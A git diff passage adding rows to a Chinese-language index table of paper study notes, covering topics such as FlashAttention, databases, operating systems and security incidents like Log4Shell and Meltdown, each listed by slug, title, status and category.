 | `electra-2020` | [ELECTRA — 把猜词题改成判真假题，训练效率 4 倍](/study/papers/electra-2020/) | ✅ v3 | 机器学习 | 模型与训练 |
@@ -1597,13 +1709,16 @@ sidebar:
 | `evo-memory-2511` | [Evo-Memory — 给"会自己长记性"的 agent 出一份统一考卷](/study/papers/evo-memory-2511/) | ✅ v3 | Agent | 智能体与 LLM |
 | `exg-experience-graphs` | [EXG 经验图 — 把 agent 的成败拼成一张可复用的关系图](/study/papers/exg-experience-graphs/) | ✅ v3 | Agent | 智能体与 LLM |
 | `exokernel-1995` | [Exokernel — 把抽象推到用户态的极致设计](/study/papers/exokernel-1995/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
+| `expertflow-moe-offload` | [ExpertFlow — MoE 预测式专家缓存与 Token 调度（零基础学习笔记）](/study/papers/expertflow-moe-offload/) | ✅ v3 | 机器学习 | ML 系统 |
 | `f1-2013` | [F1 2013 — 把 Spanner 包成 SQL，扛起 AdWords 全部账单](/study/papers/f1-2013/) | ✅ v3 | 数据库 | 存储与查询 |
 | `f4-2014` | [f4 — Facebook 把 90 天前的旧图片搬到一个省 40% 存储的仓库](/study/papers/f4-2014/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `faiss-2017` | [FAISS 2017 — 用 GPU 在十亿向量里找最近邻](/study/papers/faiss-2017/) | ✅ v3 | 数据库 | 存储与查询 |
 | `fan-vercauteren-bfv-2012` | [Somewhat Practical Fully Homomorphic Encryption](/study/papers/fan-vercauteren-bfv-2012/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
+| `farm-2015` | [FaRM — 用 RDMA 把集群内存变成一块「共享白板」](/study/papers/farm-2015/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `farsite-2002` | [Farsite — 把一群不可信桌面 PC 拼成一台可信文件服务器](/study/papers/farsite-2002/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `fast-paxos-2006` | [Fast Paxos — 给 Paxos 加一条乐观快车道](/study/papers/fast-paxos-2006/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `fastertransformer-2021` | [FasterTransformer 2021 — NVIDIA 第一代开源 LLM 推理引擎](/study/papers/fastertransformer-2021/) | ✅ v3 | 图形学 | GPU 架构 |
+| `fastlanes-compression` | [FastLanes 压缩布局 — 用标量代码每秒解码超过 1000 亿整数](/study/papers/fastlanes-compression/) | ✅ v3 | 数据库 | 存储与查询 |
 | `fat-tree-2008` | [Fat-Tree 2008 — 用一堆便宜交换机搭出现代数据中心](/study/papers/fat-tree-2008/) | ✅ v3 | 网络协议 | 网络协议 |
 | `feautrier-polyhedral` | [Feautrier 多面体调度 — 把循环并行化变成解几何方程](/study/papers/feautrier-polyhedral/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `fermi-architecture-2010` | [NVIDIA Fermi — 把 GPU 从游戏卡推上超算](/study/papers/fermi-architecture-2010/) | ✅ v3 | 图形学 | GPU 架构 |
@@ -1612,10 +1727,13 @@ sidebar:
 | `fielding-rest-2000` | [Fielding 2000 — 用约束推导法把 Web 的成功讲成了一门方法](/study/papers/fielding-rest-2000/) | ✅ v3 | 网络协议 | 网络协议 |
 | `filip-2021` | [FILIP — 把 CLIP 的图文对齐细化到 token 级](/study/papers/filip-2021/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `firecracker-2020` | [Firecracker 2020 — 给 serverless 量身定做的极简 microVM](/study/papers/firecracker-2020/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
+| `first-class-refinement-scala` | [First-Class Refinement Types for Scala — 把「带条件的类型」写进 Scala 3 本身](/study/papers/first-class-refinement-scala/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `flamingo-2022` | [Flamingo — 让冻结的大模型学会看图，几张样例就上手](/study/papers/flamingo-2022/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `flan-2021` | [FLAN — 用自然语言指令教模型学会"听话"](/study/papers/flan-2021/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `flash-attention` | [FlashAttention — 不改算法，只改数据怎么进 GPU](/study/papers/flash-attention/) | ✅ v3 | 图形学 | GPU 与系统 |
 | `flash-vstream-2024` | [Flash-VStream — STAR 双进程记忆的低延迟长流理解](/study/papers/flash-vstream-2024/) | ✅ v3 | 机器学习 | 视频理解 |
+| `flashattention-2` | [FlashAttention-2 — 更快的 Attention 与更好的并行](/study/papers/flashattention-2/) | ✅ v3 | 机器学习 | ML 系统 |
+| `flashattention-3-2024` | [FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度](/study/papers/flashattention-3-2024/) | ✅ v3 | 机器学习 | ML 系统 |
 | `flexible-paxos-2016` | [Flexible Paxos — 两阶段不一定都要多数派](/study/papers/flexible-paxos-2016/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `flexsc-2010` | [FlexSC — 把系统调用从同步陷入改成异步队列](/study/papers/flexsc-2010/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `flink-2015` | [Apache Flink — 流批一体的单引擎](/study/papers/flink-2015/) | ✅ v3 | 数据库 | 存储与查询 |
@@ -1688,10 +1806,12 @@ sidebar:
 | `hdfs-2010` | [HDFS — 把 GFS 用 Java 重写一遍并撑到 25 PB](/study/papers/hdfs-2010/) | ✅ v3 | 数据库 | 存储与查询 |
 | `heartbleed-2014` | [Heartbleed — 一个忘了写边界检查的 bug 让全网 1/3 的 HTTPS 站点漏内存](/study/papers/heartbleed-2014/) | ✅ v3 | 网络协议 | 网络协议 |
 | `heckbert-1986-texture-survey` | [Heckbert 1986 — 把"贴图"这件事讲清楚的第一篇综述](/study/papers/heckbert-1986-texture-survey/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `hekaton` | [Hekaton — SQL Server 内存优化 OLTP 引擎](/study/papers/hekaton/) | ✅ v3 | 数据库 | 存储与查询 |
 | `helium-type-errors` | [Helium — 让类型错误说人话的教学版 Haskell](/study/papers/helium-type-errors/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `helland-2007` | [Life Beyond Distributed Transactions — 大规模系统下放弃跨机事务的宣言](/study/papers/helland-2007/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `herlihy-moss-tm` | [Herlihy-Moss 事务内存 — 把数据库事务搬进 CPU](/study/papers/herlihy-moss-tm/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `hewitt-actor-model` | [Hewitt Actor 模型 — 把计算拆成一群只会发消息的小邮筒](/study/papers/hewitt-actor-model/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `hexagent-agentic-scheduling` | [HexAGenT — 面向 Agentic LLM 的工作流与异构感知调度](/study/papers/hexagent-agentic-scheduling/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `hindley-milner` | [Hindley-Milner — 编译器自己猜变量类型](/study/papers/hindley-milner/) | 🗄 存量 | 编程语言 | 编程语言 |
 | `hits-1999` | [HITS — 给网页同时打两个分：权威页 + 索引页](/study/papers/hits-1999/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `hlc-2014` | [HLC 2014 — 把逻辑时钟和物理时钟合一，让普通服务器也能拍一致快照](/study/papers/hlc-2014/) | ✅ v3 | 分布式系统 | 共识与复制 |
@@ -1708,6 +1828,7 @@ sidebar:
 | `hu-2018-mls-mpm` | [MLS-MPM — 把 MPM 重写到"几百行能跑实时"的现代版本](/study/papers/hu-2018-mls-mpm/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `huffman-1952` | [Huffman 编码](/study/papers/huffman-1952/) | ✅ v3 | 机器学习 | 信息论 / 算法 |
 | `hughes-fp-matters` | [Why FP Matters — 函数式真正赢在能拆能粘](/study/papers/hughes-fp-matters/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `hullft-ttft` | [HullFT — 用凸包重建与梯度缓存做高效测试时微调](/study/papers/hullft-ttft/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `hydra-1974` | [HYDRA — 用 capability 把整个内核重做成对象 + 票据](/study/papers/hydra-1974/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `hyperkernel-2017` | [Hyperkernel — 让 SMT 求解器一键验证操作系统内核](/study/papers/hyperkernel-2017/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `ice-rfc-5245` | [Interactive Connectivity Establishment (ICE): A Protocol for Network Address Translator (NAT) Traversal](/study/papers/ice-rfc-5245/) | ✅ v3 | 网络协议 | 网络协议 |
@@ -1763,10 +1884,12 @@ sidebar:
 | `krishnamurthy-1999-http11` | [Krishnamurthy 1999 — HTTP/1.0 到 1.1 究竟改了什么](/study/papers/krishnamurthy-1999-http11/) | ✅ v3 | 网络协议 | 网络协议 |
 | `kubernetes-2016` | [Kubernetes — 为什么选声明式 API 加协调环](/study/papers/kubernetes-2016/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `kustomize` | [Kustomize — 不写模板也能给 K8s 配置分环境](/study/papers/kustomize/) | 🗄 存量 | 基础设施 | 基础设施 |
+| `kv-fold` | [KV-Fold — 一步 KV 缓存递推实现长上下文推理](/study/papers/kv-fold/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `kvm-2007` | [KVM 2007 — 把 Linux 内核本身变成 hypervisor](/study/papers/kvm-2007/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `l4-1995` | [L4 — Liedtke 用 12KB 内核反驳"微内核必然慢"](/study/papers/l4-1995/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `label-smoothing-2016` | [Label Smoothing — 别让模型对正确答案过度自信](/study/papers/label-smoothing-2016/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `lafortune-1993-bdpt` | [Lafortune-Willems 1993 — 从相机和光源同时撒光线再"接龙"](/study/papers/lafortune-1993-bdpt/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `lakehouse-2021` | [Lakehouse — 用开放格式统一数据仓库与高级分析](/study/papers/lakehouse-2021/) | ✅ v3 | 数据库 | 存储与查询 |
 | `lalr-deremer` | [DeRemer LALR(1) — 把 LR 表压到能用大小](/study/papers/lalr-deremer/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `lambda-calculus` | [λ-演算 — 用三条规则表达所有可计算函数](/study/papers/lambda-calculus/) | 🗄 存量 | 编程语言 | 编程语言 / 计算理论 |
 | `lambdarank-2006` | [LambdaRank — 跳过定义损失函数，直接把梯度写出来](/study/papers/lambdarank-2006/) | ✅ v3 | 信息检索 | 检索与排序 |
@@ -1774,6 +1897,7 @@ sidebar:
 | `lamport-tla-1994` | [TLA — 把状态机和时序逻辑捏成一个公式](/study/papers/lamport-tla-1994/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `lampson-hints` | [Lampson Hints — 把做系统的隐式品味写成 27 条经验法则](/study/papers/lampson-hints/) | ✅ v3 | 分布式系统 | 系统设计 |
 | `landin-secd` | [Landin SECD — 第一台机械求值 lambda 表达式的抽象机器](/study/papers/landin-secd/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `language-server-protocol-spec` | [Language Server Protocol — 让编辑器共享同一套「语言大脑」的 USB 协议](/study/papers/language-server-protocol-spec/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `layernorm-2016` | [Layer Normalization — 把归一化方向从 batch 转到 feature，让 RNN/Transformer 也能稳定训](/study/papers/layernorm-2016/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `lean-prover` | [Lean 4 — 用 Lean 重写的 Lean，让数学家和程序员共用一种语言](/study/papers/lean-prover/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `lean-tactics` | [Lean Tactics — 让证明助手把"写证明"当成写程序](/study/papers/lean-tactics/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
@@ -1781,10 +1905,12 @@ sidebar:
 | `leis-2015-optimizers` | [Leis 2015 — 用真实数据打脸所有数据库的查询优化器](/study/papers/leis-2015-optimizers/) | ✅ v3 | 数据库 | 存储与查询 |
 | `lerner-seminal` | [Lerner 组合数据流 — 让小优化互相喂招](/study/papers/lerner-seminal/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `levoy-hanrahan-1996-light-field` | [Light Field Rendering — 把场景拍成 4D 数组，新视角靠查表](/study/papers/levoy-hanrahan-1996-light-field/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `lfm2-5-8b-a1b-moe` | [LFM2.5-8B-A1B — 38T 预训练的边缘 MoE 个人助手](/study/papers/lfm2-5-8b-a1b-moe/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `lfs-1991` | [LFS 1991 — 把整个磁盘当日志写](/study/papers/lfs-1991/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `li-2018-redner` | [redner — 让光线追踪能反向传播过几何边缘](/study/papers/li-2018-redner/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `li-t-closeness-2007` | [t-Closeness — 用"分布距离"堵住匿名化的最后漏洞](/study/papers/li-t-closeness-2007/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `lieberman-realtime-gc` | [Lieberman-Hewitt 1983 — 把对象寿命统计偏斜兑换成有界停顿](/study/papers/lieberman-realtime-gc/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
+| `liger-kernel-llm-training` | [Liger Kernel — 面向 LLM 训练的高效 Triton Kernel 套件](/study/papers/liger-kernel-llm-training/) | ✅ v3 | 机器学习 | ML 系统 |
 | `lindholm-2008-tesla` | [Lindholm 2008 Tesla — SM、warp、SIMT 这套词汇的官方出生证明](/study/papers/lindholm-2008-tesla/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `linear-scan-reg-alloc` | [Linear Scan 寄存器分配 — 把图染色换成单趟扫描，给 JIT 用](/study/papers/linear-scan-reg-alloc/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `linear-types` | [线性类型（Linear Types）](/study/papers/linear-types/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
@@ -1800,12 +1926,15 @@ sidebar:
 | `llava-onevision-2024` | [LLaVA-OneVision — 单图、多图、视频一个模型全搞定](/study/papers/llava-onevision-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `llava-video-2024` | [LLaVA-Video — LLaVA-NeXT 视频主线，合成数据 + SlowFast 采帧](/study/papers/llava-video-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `llm-int8-2022` | [LLM.int8() — 大模型激活值里藏着几个超大异常通道](/study/papers/llm-int8-2022/) | ✅ v3 | 图形学 | GPU 架构 |
+| `llm-serving-needs-math` | [LLM Serving Needs Mathematical Optimization, Not Just Heuristics — 零基础学习笔记](/study/papers/llm-serving-needs-math/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `llm-wiki-retrieval-reasoning` | [LLM-Wiki — 把外部知识编译成 agent 自己的"维基"](/study/papers/llm-wiki-retrieval-reasoning/) | ✅ v3 | Agent | 智能体与 LLM |
+| `llmsurgeon-data-mixture` | [LLMSurgeon — 从生成文本反推大模型预训练数据配比](/study/papers/llmsurgeon-data-mixture/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `llmvs-2025` | [LLMVS — 用 LLM 语义裁判给视频帧打分做摘要](/study/papers/llmvs-2025/) | ✅ v3 | 机器学习 | 视频理解 |
 | `llvm` | [LLVM — 模块化编译器框架](/study/papers/llvm/) | 🗄 存量 | 编译器 | 编译器 |
 | `lmdb-2011` | [LMDB 2011 — 把数据库直接 mmap 进内存的嵌入式 KV 存储](/study/papers/lmdb-2011/) | ✅ v3 | 数据库 | 存储与查询 |
 | `local-type-inference` | [Local Type Inference — 编译器只看相邻节点也能推出类型](/study/papers/local-type-inference/) | ✅ v3 | 编程语言 | 类型与 PL 理论 |
 | `locus-1980` | [LOCUS 1980 — 让一群机器看起来像同一台机器](/study/papers/locus-1980/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
+| `log4shell-cve-2021-44228` | [Log4Shell (CVE-2021-44228) — 一条日志字符串如何远程控制服务器](/study/papers/log4shell-cve-2021-44228/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `logjam-2015` | [Logjam 2015 — 全世界共用一把锁，国家级窃听者一次撬完](/study/papers/logjam-2015/) | ✅ v3 | 网络协议 | 网络协议 |
 | `logoot-2010` | [Logoot — 给每个字符发一张"永不过期的座位号"](/study/papers/logoot-2010/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `long-video-retrieval-2023` | [R-VLM — 长视频不靠均匀采帧，靠可学习检索选片段](/study/papers/long-video-retrieval-2023/) | ✅ v3 | 机器学习 | 视频理解 |
@@ -1813,6 +1942,7 @@ sidebar:
 | `longva-2024` | [LongVA — 把语言模型的长上下文能力「搬」到视频上](/study/papers/longva-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `longvideobench-2024` | [LongVideoBench — 一小时交织字幕视频的长上下文理解考卷](/study/papers/longvideobench-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `longvila-2024` | [LongVILA — 把 VILA 从 8 帧扩到 2048 帧的长视频全栈方案](/study/papers/longvila-2024/) | ✅ v3 | 机器学习 | 视频理解 |
+| `loong-doc-mt` | [Loong — 类人长文档翻译 Agent 与自适应上下文选择](/study/papers/loong-doc-mt/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `loop-1987-subdivision` | [Loop 1987 — 三角形网格的递归光滑细分](/study/papers/loop-1987-subdivision/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `lottery-1994` | [彩票调度 — 用抽奖代替优先级的资源分配](/study/papers/lottery-1994/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `lottery-ticket-2019` | [彩票假设 — 大网里藏着一张能独立训出来的小网](/study/papers/lottery-ticket-2019/) | ✅ v3 | 机器学习 | 模型与训练 |
@@ -1822,6 +1952,7 @@ sidebar:
 | `lucky13-2013` | [Lucky 13 — 用毫秒级时间差把 TLS 加密看穿](/study/papers/lucky13-2013/) | ✅ v3 | 网络协议 | 网络协议 |
 | `lvbench-2024` | [LVBench — 平均 68 分钟、六维能力的长视频极限考](/study/papers/lvbench-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `mach-1986` | [Mach — 把内核拆成消息互通的小服务](/study/papers/mach-1986/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
+| `mach-rashid-1986` | [Mach 1986 — 给 UNIX 换一块能跨机器生长的内核地基](/study/papers/mach-rashid-1986/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `mach-vm-1987` | [Mach VM — 把虚拟内存抽象成"对象"，与硬件解耦](/study/papers/mach-vm-1987/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `machanavajjhala-l-diversity-2007` | [l-多样性 — k-匿名之后的隐私保护](/study/papers/machanavajjhala-l-diversity-2007/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `macklin-2014-position-based-fluids` | [Position Based Fluids — 把水也塞进 PBD 同一套框架](/study/papers/macklin-2014-position-based-fluids/) | ✅ v3 | 图形学 | 渲染与图形 |
@@ -1842,14 +1973,19 @@ sidebar:
 | `mcfarling-bp-1993` | [McFarling 1993 — 用 XOR 把全局历史和 PC 拧在一起，再让两个预测器打擂台](/study/papers/mcfarling-bp-1993/) | ✅ v3 | 图形学 | GPU 架构 |
 | `mcmahan-fedavg-2017` | [FedAvg — 联邦学习奠基算法](/study/papers/mcmahan-fedavg-2017/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `mcmillan-smv-1993` | [McMillan SMV 1993 — 把状态空间从 10^6 推到 10^20 的符号模型检测](/study/papers/mcmillan-smv-1993/) | ✅ v3 | 形式化方法 | 形式化验证 |
+| `mcp-is-dead-debate` | [MCP Is Dead? — 2026 年协议存废之争零基础笔记](/study/papers/mcp-is-dead-debate/) | ✅ v3 | 后端 API | Web 后端 |
 | `mcp-spec` | [MCP — 让一个 LLM 客户端能插任何外部能力的 USB 协议](/study/papers/mcp-spec/) | ✅ v3 | 机器学习 | AI 工程 |
 | `mcs-locks-1991` | [MCS 锁 — 让每个线程自旋在自己的缓存行上](/study/papers/mcs-locks-1991/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `meagher-1982-octree` | [Meagher 1982 八叉树 — 把立方体一分为八，递归地装下一整个 3D 世界](/study/papers/meagher-1982-octree/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `medusa-2024` | [Medusa — 让大模型自己同时猜好几个 token](/study/papers/medusa-2024/) | ✅ v3 | 图形学 | GPU 架构 |
 | `megastore-2011` | [Megastore — 把数据切成"小数据库"换跨地域同步复制](/study/papers/megastore-2011/) | ✅ v3 | 分布式系统 | 共识与复制 |
+| `megatron-core-moe-2026` | [Megatron Core MoE 大规模训练 — 零基础学习笔记](/study/papers/megatron-core-moe-2026/) | ✅ v3 | 机器学习 | ML 系统 |
 | `megatron-lm` | [Megatron-LM — NVIDIA 大规模训练框架](/study/papers/megatron-lm/) | ✅ v3 | 分布式系统 | 模型与训练 |
+| `meltdown-attack-2018` | [Meltdown — 从用户空间偷读内核内存](/study/papers/meltdown-attack-2018/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
+| `mem-ft-lora` | [How LoRA Remembers? — 参数记忆定律与 MemFT 零基础学习笔记](/study/papers/mem-ft-lora/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `memcached-fb-2013` | [Scaling Memcache at Facebook — 万台缓存怎么不被踩塌](/study/papers/memcached-fb-2013/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `memcoder-co-evolution` | [MemCoder — code agent 跟着你 git commit 一起成长](/study/papers/memcoder-co-evolution/) | ✅ v3 | Agent | 智能体与 LLM |
+| `memory-tool-use-agents` | [When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?](/study/papers/memory-tool-use-agents/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `mencius-2008` | [Mencius — 让多台服务器轮流当 Paxos 的 leader](/study/papers/mencius-2008/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `mermaid` | [Mermaid — 用文本写图，让代码评审能 diff 流程图](/study/papers/mermaid/) | ✅ v3 | 基础设施 | 工具与基础设施 |
 | `mesa-optimization-2019` | [Mesa-Optimization 2019 — 训出来的模型自己也是个优化器](/study/papers/mesa-optimization-2019/) | ✅ v3 | 机器学习 | 模型与训练 |
@@ -1867,6 +2003,7 @@ sidebar:
 | `minicpm-v-2024` | [MiniCPM-V — 手机能跑的 GPT-4V 级多模态模型](/study/papers/minicpm-v-2024/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `minisat-2003` | [MiniSat 2003 — 600 行 C++ 把 CDCL 写成教科书](/study/papers/minisat-2003/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `mips-1981` | [MIPS 1981 — 让编译器自己安排流水线，CPU 就不用管](/study/papers/mips-1981/) | ✅ v3 | 图形学 | GPU 架构 |
+| `mira-rubric` | [MIRA — 中期训练中的来源感知 Rubric 锚定数据筛选](/study/papers/mira-rubric/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `mirage-2013` | [MirageOS Unikernels — 应用即内核，把操作系统编译掉](/study/papers/mirage-2013/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `mironov-renyi-dp-2017` | [Rényi 差分隐私 — 隐私会计统一框架](/study/papers/mironov-renyi-dp-2017/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `misevolution-2509` | [Misevolution — 自进化 agent 也会"越改越坏"，连顶配模型也躲不过](/study/papers/misevolution-2509/) | ✅ v3 | Agent | 智能体与 LLM |
@@ -1890,6 +2027,7 @@ sidebar:
 | `monaghan-1992-sph` | [SPH — 把流体拆成一群带核的粒子](/study/papers/monaghan-1992-sph/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `monetdb-x100-2005` | [MonetDB/X100 — 让数据库一次处理一向量行而不是一行](/study/papers/monetdb-x100-2005/) | ✅ v3 | 数据库 | 存储与查询 |
 | `monitors-1974` | [Hoare Monitors 1974 — 把锁藏进对象里，让并发代码读起来像普通函数](/study/papers/monitors-1974/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
+| `morsel-driven-2014` | [Morsel-Driven Parallelism — 面向 NUMA 的查询并行执行框架](/study/papers/morsel-driven-2014/) | ✅ v3 | 数据库 | 存储与查询 |
 | `moviechat-2024` | [MovieChat — 从稠密帧到稀疏记忆，小时级电影也能聊](/study/papers/moviechat-2024/) | ✅ v3 | 机器学习 | 视频理解 |
 | `mplug-owl-2023` | [mPLUG-Owl — 模块化拼装多模态大模型](/study/papers/mplug-owl-2023/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `mptcp-2012` | [MPTCP 2012 — 把一根 TCP 管道变成多条并行水管](/study/papers/mptcp-2012/) | ✅ v3 | 网络协议 | 网络协议 |
@@ -1906,12 +2044,14 @@ sidebar:
 | `nbeats-2020` | [N-BEATS — 纯前馈网络在时序预测上打败统计派](/study/papers/nbeats-2020/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `nelson-oppen-1979` | [Nelson-Oppen 1979 — 让多个判定程序坐下来交换"我刚发现 a=b"](/study/papers/nelson-oppen-1979/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `nerf-2020` | [NeRF — 用一个 MLP 把整个场景"背"下来](/study/papers/nerf-2020/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `nestedkv` | [NestedKV — 嵌套内存路由实现长上下文 KV Cache 压缩](/study/papers/nestedkv/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `netflix-bellkor-2009` | [BellKor Netflix Prize 2009 — 集成学习赢下 100 万美金的工程实录](/study/papers/netflix-bellkor-2009/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `netkat-2014` | [NetKAT 2014 — 把网络转发写成可以做数学等式变换的代数式](/study/papers/netkat-2014/) | ✅ v3 | 网络协议 | 网络协议 |
 | `neumann-2015-large-joins` | [Adaptive Optimization of Very Large Join Queries — 100 张表也敢精确求解](/study/papers/neumann-2015-large-joins/) | ✅ v3 | 数据库 | 存储与查询 |
 | `neumf-2017` | [NeuMF — 用神经网络替掉推荐系统的内积](/study/papers/neumf-2017/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `newcombe-2011-kinectfusion` | [KinectFusion — 用消费级深度相机实时重建三维世界](/study/papers/newcombe-2011-kinectfusion/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `newsome-taintcheck-2005` | [Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software](/study/papers/newsome-taintcheck-2005/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
+| `nexus-prefill-decode-intra-gpu` | [Nexus — 单 GPU 内主动式 Prefill/Decode 分离](/study/papers/nexus-prefill-decode-intra-gpu/) | ✅ v3 | 机器学习 | ML 系统 |
 | `nfs-1985` | [NFS 1985 — 让远程磁盘看起来像本地磁盘](/study/papers/nfs-1985/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `ngabonziza-trustzone-2016` | [TrustZone — ARM 给 CPU 装上"双重人格"隔离安全世界](/study/papers/ngabonziza-trustzone-2016/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `nickolls-dally-2010-cuda-era` | [Nickolls-Dally 2010 — GPU 怎么从画三角形变成跑 AI](/study/papers/nickolls-dally-2010-cuda-era/) | ✅ v3 | 图形学 | 渲染与图形 |
@@ -1919,6 +2059,7 @@ sidebar:
 | `nimier-david-2019-mitsuba2` | [Mitsuba 2 — 一份渲染代码同时编出 CPU / GPU / 可微版](/study/papers/nimier-david-2019-mitsuba2/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `nix` | [Nix — 把每个软件包当成纯函数的输出](/study/papers/nix/) | ✅ v3 | CLI | 包管理 / 系统 |
 | `no-silver-bullet` | [No Silver Bullet — 软件难度的二分手术刀](/study/papers/no-silver-bullet/) | ✅ v3 | 其他 | 软件工程 |
+| `noise-protocol-framework` | [Noise Protocol Framework — 用「握手配方」拼出端到端加密通道](/study/papers/noise-protocol-framework/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `ntk-2018` | [NTK — 把无限宽的神经网络变成一个可解的核方法](/study/papers/ntk-2018/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `ntp-mills-1991` | [NTP 1991 — 用四个时间戳和一组滤波器，让全网服务器的钟差几毫秒](/study/papers/ntp-mills-1991/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `nuprl-1986` | [Nuprl — 第一个把 Martin-Löf 类型论搬上屏幕的证明助手](/study/papers/nuprl-1986/) | ✅ v3 | 形式化方法 | 形式化验证 |
@@ -1927,11 +2068,14 @@ sidebar:
 | `nvm` | [nvm — 在同一台机器上轻松切换 Node 版本](/study/papers/nvm/) | ✅ v3 | 后端 API | 前端工具链 |
 | `nvme-protocol-2017` | [NVMe — 为 SSD 重写的存储协议](/study/papers/nvme-protocol-2017/) | ✅ v3 | 图形学 | GPU 架构 |
 | `oauth-2.1-rfc` | [OAuth 2.1 — 把十年 OAuth 实战经验收口成一份能直接用的规范](/study/papers/oauth-21-rfc/) | ✅ v3 | 后端 API | 后端 |
+| `oauth2-rfc6749` | [OAuth 2.0 Authorization Framework (RFC 6749) — 不用把密码交给第三方，也能授权访问](/study/papers/oauth2-rfc6749/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `okapi-bm25-1994` | [Robertson-Walker 1994 — 把 2-Poisson 压成一行能算的公式](/study/papers/okapi-bm25-1994/) | ✅ v3 | 信息检索 | 检索与排序 |
+| `oltp-looking-glass` | [OLTP Through the Looking Glass — 传统数据库的 20 倍开销从哪来](/study/papers/oltp-looking-glass/) | ✅ v3 | 数据库 | 存储与查询 |
 | `omagent-2024` | [OmAgent — 长视频分治 Agent 与回退检索](/study/papers/omagent-2024/) | ✅ v3 | 机器学习 | 视频理解 |
